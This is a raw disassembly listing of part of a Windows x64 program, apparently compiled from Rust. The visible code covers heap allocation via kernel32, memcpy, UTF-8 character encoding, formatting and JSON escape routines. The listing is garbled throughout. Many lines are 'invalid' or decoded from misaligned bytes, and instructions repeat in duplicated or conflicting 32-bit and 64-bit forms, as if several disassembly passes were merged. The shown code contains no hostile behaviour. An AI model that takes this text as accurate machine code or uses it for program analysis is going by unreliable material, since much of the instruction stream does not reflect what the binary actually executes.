add eax, 0x6f12f
int1
invalid
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xa8], eax
add byte [rax - 0x73], cl
pushfq
lea rbx, [rsp + 0x80]
mov rcx, rdi
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rdx, rbx
call 0x14006f5a0
mov ah, 1
add byte [rax], al
invalid
mov ah, 1
add byte [rax], al
test al, al
jne case.0x14002753a.623
movups xmm0, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x30], xmm0
sub dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x60]
invalid
mov qword [rsp + 0x40], rax
and al, 0x40
invalid
and al, 0x40
lea rax, [rdi + 0x18]
add rdi, 0x20
invalid
and byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x80], rcx
mov dword [rsp + 0x80], ecx
sbb byte [r8 - 0x7d], r9b
invalid
mov dword [rsp + 0x80], ecx
and al, 0x80
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [0x14003be40]
lea ecx, [0x14003be40]
or eax, 0xfffcca1c
cld
dec dword [rax - 0x77]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
lea rax, [fcn.14003d600]
invalid
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], rax
lea rax, [fcn.14003d600]
invalid
dec dword [rax - 0x77]
test byte [rax + rbx*4], ah
and al, 0x98
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rdi
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x6ff26
inc dword es:[rsi]
invalid
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0xa024
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x6ff26
inc dword es:[rsi]
invalid
inc dword es:[rsi]
add byte [rax - 0x77], cl
mov qword [rsp + 0x50], rax
invalid
mov qword [rsp + 0x50], rax
push rax
mov qword [rsp + 0x58], 4
mov qword [rsp + 0x70], 0
jo 0x14006f46e
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x60], ebx
jo 0x14006f46e
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x60], ebx
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x68], 3
and al, 0x68
add eax, dword [rax]
add byte [rax], al
invalid
push 3
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
push rsi
sub byte [rbp + rcx*4 + 0x44], cl
lea eax, [rsp + 0x50]
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x50]
lea eax, [rsp + 0x50]
lea eax, [rsp + 0x50]
call fcn.14003e1b0
mov ebx, eax
ret
cmp qword [rsp + 0x38], 0
and al, 0x38
invalid
je 0x14006f4af
invalid
in eax, dx
cld
dec dword [rcx + 0x7c8348c3]
ret
invalid
invalid
invalid
ret
and al, 0x38
add byte [rsp + rdx + 0x4c], dh
mov eax, dword [rsp + 0x30]
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x39e81
adc eax, 0x39e81
add byte [rcx - 0x3b7eb728], cl
rol byte [rax], 0
add byte [rax], al
pop rbx
pop rdi
mov eax, ebx
add rsp, 0xc0
add esp, 0xc0
fmul dword [rax - 0x7f]
invalid
add esp, 0xc0
pop rbx
pop rdi
pop rsi
ret
lea rax, [0x1400de568]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
or eax, 0x6f061
invalid
add byte [rbp + rcx*4 + 0xd], cl
or dh, cl
invalid
lea r9, [0x1400de5e0]
lea r8, [rsp + 0x30]
mov edx, 0x37
call fcn.1400a48c0
push rbx
add eax, dword [rax]
push rbx
add eax, dword [rax]
ud2
or ecx, esp
int3
int3
jns 0x14006f516
add byte [rdi], cl
test byte [rax + 0x48000000], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
add byte [rax], al
lea rax, [rcx + 0x18]
lea eax, [rcx + 0x18]
lea eax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
add rcx, 0x20
lea r8, [0x14006f5a0]
mov qword [rsp + 0x30], r8
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
mov qword [rsp + 0x38], rax
lea rax, [fcn.14003d600]
invalid
loopne 0x14006f525
invalid
cmp byte [rax - 0x73], cl
add eax, 0xfffce0d6
invalid
loopne 0x14006f525
invalid
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
lea eax, [0x1400df338]
lea eax, [0x1400df338]
clc
std
invalid
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 3
mov qword [rsp + 0x78], 0
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax - 0x73], cl
and al, 0x28
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
invalid
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
lea r8, [rsp + 0x58]
lea r8, [rsp + 0x58]
call fcn.14003e1b0
xor al, 0xec
cld
call qword [rax - 0x773b7eb8]
nop
add rsp, 0x88
ret
add rsp, 0x88
jmp 0x14006f5a0
nop
add rsp, 0x88
ret
mov rax, qword [rcx]
lea r8, [0x1400e7374]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
invalid
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
add rcx, 8
jmp 0x14007ba20
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x6fb09
sbb byte [rax - 0x73], cl
adc eax, 0x6fb09
mov r8d, 0x18
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fb05
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fb05
mov r8d, 0x1b
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df125]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fb04
invalid
add byte [rcx - 0x48], al
mov r8d, 0x1a
sbb al, byte [rax]
add byte [rax], al
invalid
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x6fb02
sbb byte [rax - 0x73], cl
adc eax, 0x6fb02
mov r8d, 0x19
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df158]
mov r8d, 0xc
add byte [rax], al
add byte [rax - 1], cl
invalid
add byte [rax], al
add byte [rax - 1], cl
loopne 0x14006f6ab
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df164]
mov r8d, 0x13
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x6fae6
sbb byte [rax - 0x73], cl
adc eax, 0x6fae6
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df18a]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fadd
invalid
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x6facf
mov r8d, 0xe
add byte [rax], al
add byte [rax - 1], cl
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x6fac1
sbb byte [rax - 0x73], cl
adc eax, 0x6fac1
mov r8d, 0xc
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df1b2]
adc eax, 0x6fab1
adc eax, 0x6fab1
mov r8d, 0xe
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400df1c0]
adc eax, 0x6faa3
adc eax, 0x6faa3
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400df1ce]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400df1ce]
lea edx, [0x1400df1ce]
xchg ebp, eax
cli
invalid
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x6fa8c
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fa8c
mov r8d, 0x1a
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df1fb]
adc eax, 0x6fa8a
adc eax, 0x6fa8a
mov r8d, 0x3e
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df239]
add byte [rcx - 0x48], al
adc al, 0
add byte [rax], al
cli
invalid
add byte [rcx - 0x48], al
adc al, 0
add byte [rax], al
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6faa4
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6faa4
invalid
add byte [rcx - 0x48], al
xor al, 0
add byte [rax], al
invalid
mov r8d, 0x34
add byte [rax], al
add byte [rax - 1], cl
loopne 0x14006f7fb
invalid
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x6fabc
sbb byte [rax - 0x73], cl
adc eax, 0x6fabc
mov r8d, 0x2c
jmp rax
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6facc
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6facc
add byte [rcx - 0x48], al
and al, 0
add byte [rax], al
mov r8d, 0x24
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df2d1]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fad4
invalid
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df2df]
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df2df]
invalid
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fabd
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fabd
mov r8d, 0x1c
sbb al, 0
add byte [rax], al
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400df30e]
adc eax, 0x6fabd
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x6fabd
mov r8d, 0x18
sbb byte [rax], al
add byte [rax], al
jmp rax
jmp rax
push rbx
sub rsp, 0x28
in al, dx
sub byte [rcx + rcx*4 - 0x3a], cl
in al, dx
sub byte [rcx + rcx*4 - 0x3a], cl
mov rbx, rdx
mov rdi, rcx
mov edi, ecx
mov rax, qword [rcx + 8]
mov r14, qword [rcx + 0x10]
mov esi, dword [rcx + 0x10]
or byte [r11 + rcx*4 + 0x71], cl
adc byte [rcx + rbp - 0x10], cl
invalid
mov esi, dword [rcx + 0x10]
sub rax, r14
cmp rax, r8
jb 0x14006f8a6
mov rcx, qword [rdi]
add rcx, r14
mov rdx, rbx
mov r8, rsi
mov eax, esi
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
mov qword [rdi + 0x10], r14
ja 0x14006f8aa
ja 0x14006f8aa
xor eax, eax
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
mov rcx, rdi
stc
mov rdx, r14
mov edx, esi
mov r8, rsi
call fcn.1400a8280
int3
mov r14, qword [rdi + 0x10]
jmp 0x14006f882
push rbx
sub rsp, 0x30
sub esp, 0x30
sub esp, 0x30
mov edi, edx
mov rsi, rcx
cmp edx, 0x80
add byte [rax], al
add byte [rax], al
jae 0x14006f8fd
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x14006f8ea
mov rcx, rsi
int1
call case.0x14004bb40.290
add byte [rax], al
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
mov byte [rax + rdx], dil
inc rdx
adc byte [rax - 1], cl
ret 0x8948
invalid
invalid
mov qword [rsi + 0x10], rdx
jmp 0x14006f9bf
add byte [rax], al
add bh, al
and al, 0x2c
add byte [rax], al
add byte [rax], al
invalid
mov dword [rsp + 0x2c], 0
mov eax, edi
cmp edi, 0x800
inc dword [rax]
or byte [rax], al
add byte [rbx + 0x1d], dh
inc dword [rax]
or byte [rax], al
add byte [rbx + 0x1d], dh
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x2c], al
invalid
and dil, 0x3f
or dil, 0x80
mov byte [rsp + 0x2d], dil
mov edi, 2
add byte [rax], al
add byte [rax], al
jmp 0x14006f995
cmp edi, 0x10000
jae 0x14006f95e
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
loopne 0x14006f8c2
and al, 0x2c
mov eax, edi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and al, 0x2d
and al, 0x2d
sub eax, 0x3fe78040
and dil, 0x3f
out 0x3f, eax
or dil, 0x80
mov byte [rsp + 0x2e], dil
mov edi, 3
add eax, dword [rax]
add byte [rax], al
jl 0x14006f97a
mov edi, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x14006f995
invalid
and al, 0x2d
mov eax, edi
shr eax, 6
and al, 0x3f
invalid
or al, 0x80
mov byte [rsp + 0x2e], al
and dil, 0x3f
call 0x14c461d84
or byte [rax + 0x402e2444], 0x80
out 0x3f, eax
invalid
or dil, 0x80
or bh, 0x80
iretd
mov byte [rsp + 0x2f], dil
mov byte [rsp + 0x2f], bh
mov edi, 4
add byte [rax], al
add byte [rax - 0x75], cl
or byte [rax - 0x75], r9b
or byte [rax - 0x75], cl
mov rax, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
clc
or byte [rax - 0x75], cl
pop rsi
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
clc
jb 0x14006f9c9
mov rcx, qword [rsi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
mov eax, edi
mov eax, edi
call fcn.1400a8280
mov rbx, qword [rsi + 0x10]
jmp 0x14006f9a5
ror byte [rax - 0x73], 1
adc eax, 0x6eb16
invalid
add cl, ch
shl edi, 0xfc
out 0xfc, eax
invalid
invalid
out 0xfc, eax
dec esp
ret 0x840f
add byte [rax], al
add byte [rax - 0x77], cl
invalid
or al, 0
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 9
mov edi, 8
cmovae rdi, rdx
cli
cli
mov rdx, rdi
not rdx
shr rdx, 0x3f
test rax, rax
test eax, eax
je 0x14006fa45
invalid
sbb byte [rax - 0x75], cl
invalid
mov rcx, qword [rsi]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 1
and al, 0x30
add dword [rax], eax
add byte [rax], al
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
cmp bl, ch
or dword [rax - 0x39], ecx
and al, 0x30
and al, 0x30
jmp 0x14006fa4e
mov qword [rsp + 0x30], 0
and al, 0x30
xor byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x40]
and al, 0x40
lea r9, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov r8, rdi
call case.0x140047e6e.300
push rax
add byte [rax], al
add byte [rax - 0x7d], cl
cmp qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x48]
je case.0x140065f9a.252
invalid
push rax
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
jl case.0x140065f9a.252
sbb ecx, dword [rax - 0x48]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc1
cmp ecx, eax
invalid
movabs rax, 0x8000000000000001
cmp rcx, rax
cmp ecx, eax
cmp ecx, eax
je 0x14006fa8f
adc ecx, dword [rax - 0x7b]
leave
test rcx, rcx
jne 0x14006fa96
call fcn.14003bdd0
ud2
invalid
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
mov dword [rsi + 8], edi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
push rsp
and al, 0x50
call fcn.1400a42a0
ud2
add byte [rax + 3], cl
add byte [rdi], cl
or ecx, esp
int3
int3
int3
in al, dx
sub byte [rcx + rcx*4 - 0x3a], cl
invalid
invalid
mov rdi, rcx
test rdx, rdx
je 0x14006faeb
cmp qword [r9 + 8], 0
or byte [rax], al
je 0x14006faf5
cmp qword [r9 + 0x10], 0
je 0x14006faf5
mov r8, qword [r9]
mov rcx, qword [0x1400f0220]
or eax, 0x80747
or eax, 0x80747
add byte [rcx], dh
ror byte [rcx - 0x77], cl
int1
xor edx, edx
mov r9, rsi
call qword [sym.imp.kernel32.dll_HeapReAlloc]
in al, 0x98
add eax, dword [rax]
test rax, rax
jne 0x14006fb2d
invalid
jmp 0x14006fb35
jmp 0x14006fb35
mov qword [rdi + 8], 0
mov dword [rdi + 8], 0
jmp 0x14006fb3d
movzx eax, byte [0x1400f02c0]
invalid
mov rcx, qword [0x1400f0220]
test rcx, rcx
sbb eax, 0x48000807
test ecx, ecx
jne 0x14006fb1d
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add eax, dword [rax]
test rax, rax
je 0x14006fb35
sal byte [rdx + riz + 0x48], 0x89
ror dword [rax - 0x77], 5
add eax, dword [rdi]
or byte [rax], al
invalid
mov rcx, rax
mov qword [0x1400f0220], rax
invalid
xor edx, edx
mov r8, rsi
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapAlloc]
add eax, dword [rax]
test rax, rax
je 0x14006fb35
invalid
or byte [rax - 0x77], cl
or byte [r9], r14b
or byte [rcx], dh
shr bl, 0xd
mov qword [rdi + 8], rax
xor eax, eax
jmp 0x14006fb42
mov qword [rdi + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax + 1], bh
mov eax, 1
mov qword [rdi + 0x10], rsi
mov qword [rdi], rax
mov dword [rdi], eax
invalid
add rsp, 0x28
pop rdi
pop rsi
ret
invalid
add byte [rax], al
dec rax
mov qword [rcx + 0x40], rax
mov rdx, qword [rcx]
enter 0xffffffffffff8948, 0x41
mov rdx, qword [rcx]
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
test rdx, rdx
je 0x14006fc2d
invalid
test rax, rax
jne 0x14006fc2d
lea rdx, [rcx + 0x10]
mov rax, qword [rcx + 0x10]
adc byte [r11 + rcx*4 + 0x41], cl
sbb byte [rbp - 0x7b], cl
invalid
je 0x14006fc0e
adc byte [r11 + rcx*4 + 0x41], cl
sbb byte [rbp - 0x7b], cl
sal byte [rbx + rdi*2 + 0x4d], 0x89
ror dword [rcx - 0x7d], 0xe1
loope 0x14006fba1
loope 0x14006fba1
je 0x14006fd39
cdq
add dword [rax], eax
add byte [rbp + 0x31], al
shl byte [rsi + 0x66], cl
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
xor r10d, r10d
xor edx, edx
nop word cs:[rax + rax]
mov rax, qword [rax + 0x278]
add byte [rax], al
inc r10
cmp r9, r10
sal dword [rbp - 0xf], 1
sal dword [rbp - 0xf], 1
mov r9, r8
sub r9, r10
ror dword [rcx - 0x7d], 1
clc
or byte [rdx + 0x43], dh
ror dword [rcx - 0x7d], 1
clc
or byte [rdx + 0x43], dh
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
mov eax, dword [rax + 0x278]
mov eax, dword [rax + 0x278]
add byte [rax], al
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
js 0x14006fbec
add byte [rax], al
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
add byte [rax], al
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
js 0x14006fbec
add byte [rax], al
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
add byte [rax], al
invalid
invalid
cmp byte [rax + 2], 0
add byte [rax], al
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
add r9, 0xfffffffffffffff8
jne case.0x14004bb40.296
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
add byte [rcx - 0x7d], cl
sar eax, 0x75
jne case.0x14004bb40.296
invalid
push rdi
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rcx], 1
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx + 8], eax
xor edx, edx
rol byte [rbp + 0x31], cl
leave
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rcx + 8], eax
invalid
rol byte [rbp + 0x31], cl
leave
jmp 0x14006fc3e
jmp 0x14006fd33
test rdx, rdx
je 0x14006fd65
mov r9, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
push rcx
invalid
movzx r8d, word [rax + 0x272]
cmp rdx, r8
add al, byte [rax]
add byte [rcx + rdi - 0x3e], cl
jae 0x14006fc50
mov r8, rax
mov eax, eax
jmp 0x14006fc77
mov r8, qword [rax + 0x160]
test r8, r8
test eax, eax
add dword [rax], eax
add byte [rbp - 0x7b], cl
test eax, eax
invalid
invalid
test eax, eax
je 0x14006fd4b
jmp 0x14006fc5e
add byte [rax], al
inc r9
movzx edx, word [rax + 0x270]
mov bh, 0x90
jo 0x14006fc6a
add byte [rax], al
mov bh, 0x90
jo 0x14006fc6a
add byte [rax], al
mov rax, r8
cmp dx, word [r8 + 0x272]
invalid
nop
jb 0x14006fc75
add byte [rax], al
add byte [rbx - 0x27], dh
jae 0x14006fc50
test r9, r9
je 0x14006fcbd
mov r10, qword [r8 + rdx*8 + 0x280]
add byte [rcx + rcx*4 - 0x38], cl
mov rax, r9
dec rax
je 0x14006fcb8
add r9, 0xfffffffffffffffe
mov r11, rax
and r11, 7
and ebx, 7
and ebx, 7
je 0x14006fcb2
sbb dword [rcx], esi
test byte [rdi], 0x1f
invalid
add byte [rax], r8b
xor esi, esi
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
mov r10, qword [r10 + 0x278]
inc rsi
inc esi
add al, byte [rax]
add byte [rax - 1], cl
inc esi
inc esi
cmp r11, rsi
cmp ebx, esi
jne 0x14006fca0
int1
sub rax, rsi
cmp r9, 7
jae 0x14006fcc6
xor r9d, r9d
jmp 0x14006fd0e
lea r9, [rdx + 1]
mov r10, r8
jmp 0x14006fd0e
xor r9d, r9d
nop dword [rax]
mov r10, qword [r10 + 0x278]
js 0x14006fcd7
add byte [rax], al
mov r10, qword [r10 + 0x278]
mov edx, dword [rdx + 0x278]
mov r10, qword [r10 + 0x278]
mov r10, qword [r10 + 0x278]
js 0x14006fcec
add byte [rax], al
add byte [rbp - 0x75], cl
xchg edx, eax
js 0x14006fcec
add byte [rax], al
mov r10, qword [r10 + 0x278]
mov r10, qword [r10 + 0x278]
mov edx, dword [rdx + 0x278]
mov edx, dword [rdx + 0x278]
mov r10, qword [r10 + 0x278]
xchg edx, eax
js 0x14006fd01
add byte [rax], al
add byte [rbp - 0x75], cl
xchg edx, eax
mov r10, qword [r10 + 0x278]
js 0x14006fd08
add byte [rax], al
add rax, 0xfffffffffffffff8
jne 0x14006fcd0
invalid
lea rax, [rdx + rdx*2]
add al, 0x52
lea rax, [r8 + rax*8]
add al, 0xc0
add rax, 0x168
shl rdx, 5
add rdx, r8
mov qword [rcx + 8], r10
mov qword [rcx + 0x10], 0
mov dword [rcx + 0x10], 0
mov dword [rcx + 0x10], 0
mov qword [rcx + 0x18], r9
add rsp, 0x20
pop rsi
ret
mov r9, r8
cmp r8, 8
jae case.0x14004bb40.296
jmp 0x14006fc0e
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0350]
add eax, 0x705f7
add eax, 0x705f7
test dword [0x16bc0fd66], 0xe8000000
add eax, 0x2bba0007
add byte [rax], al
add al, ch
mov edx, 0x2b
call fcn.1400a4530
int 0x47
add eax, dword [rax]
ud2
or ecx, dword [rax - 0x73]
or eax, 0x76454
push rsp
invalid
invalid
invalid
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
push rsp
invalid
lea r8, [0x1400df9e8]
jmp 0x14006fd59
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov r15, rdx
mov edi, edx
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov edi, edx
xlatb
mov rdi, rcx
movzx eax, byte [rcx]
add dword [rax - 0x73], ecx
or eax, 0x77635
iretd
add dword [rax - 0x73], ecx
or eax, 0x77635
jbe 0x14006fda9
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x49
mov eax, dword [rdi]
mov rax, qword [r15]
mov rdi, qword [rax]
lea rsi, str.nullfalsetrue__b_f_n_r_t0123456789abcdef_____n
add byte [rbp + 0x31], al
in eax, dx
add byte [rbp + 0x31], al
in eax, dx
lea r15, [0x1400e74d0]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
ja 0x14006fdc9
add byte [rbx + rcx*4 + 0x25], cl
xchg bp, ax
add eax, dword [rax]
add bl, ch
invalid
jmp 0x14006fdda
nop dword [rax]
cmp byte [rbx + 0x10], 0x23
jne case.0x140070928.2
mov rcx, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
sub byte [r9 - 0x48], r8b
add al, 0
add byte [rax], al
invalid
sub byte [r9 - 0x48], r8b
add al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rsi
call qword [rax + 0x18]
mov rdx, rsi
call qword [rax + 0x18]
test al, al
je 0x14007079b
add byte [rax], al
add byte [rax], al
call case.0x1400477cd.451
sldt word [rax]
mov rbx, rax
and eax, 3
loopne case.0x14006f5b1.85
movsxd rax, dword [r15 + rax*4]
xchg dword [rcx + rax - 8], ecx
loopne case.0x14006f5b1.85
xchg dword [rcx + rax - 8], ecx
jmp rax
mov dr6, rbp
invalid
mov rbp, qword [rbx + 7]
mov rcx, r14
call qword [rbp]
push rbp
add byte [rax - 0x7d], cl
jge 0x14006fe2a
invalid
je 0x14006fe3f
invalid
sbb cl, byte [rax - 0x7d]
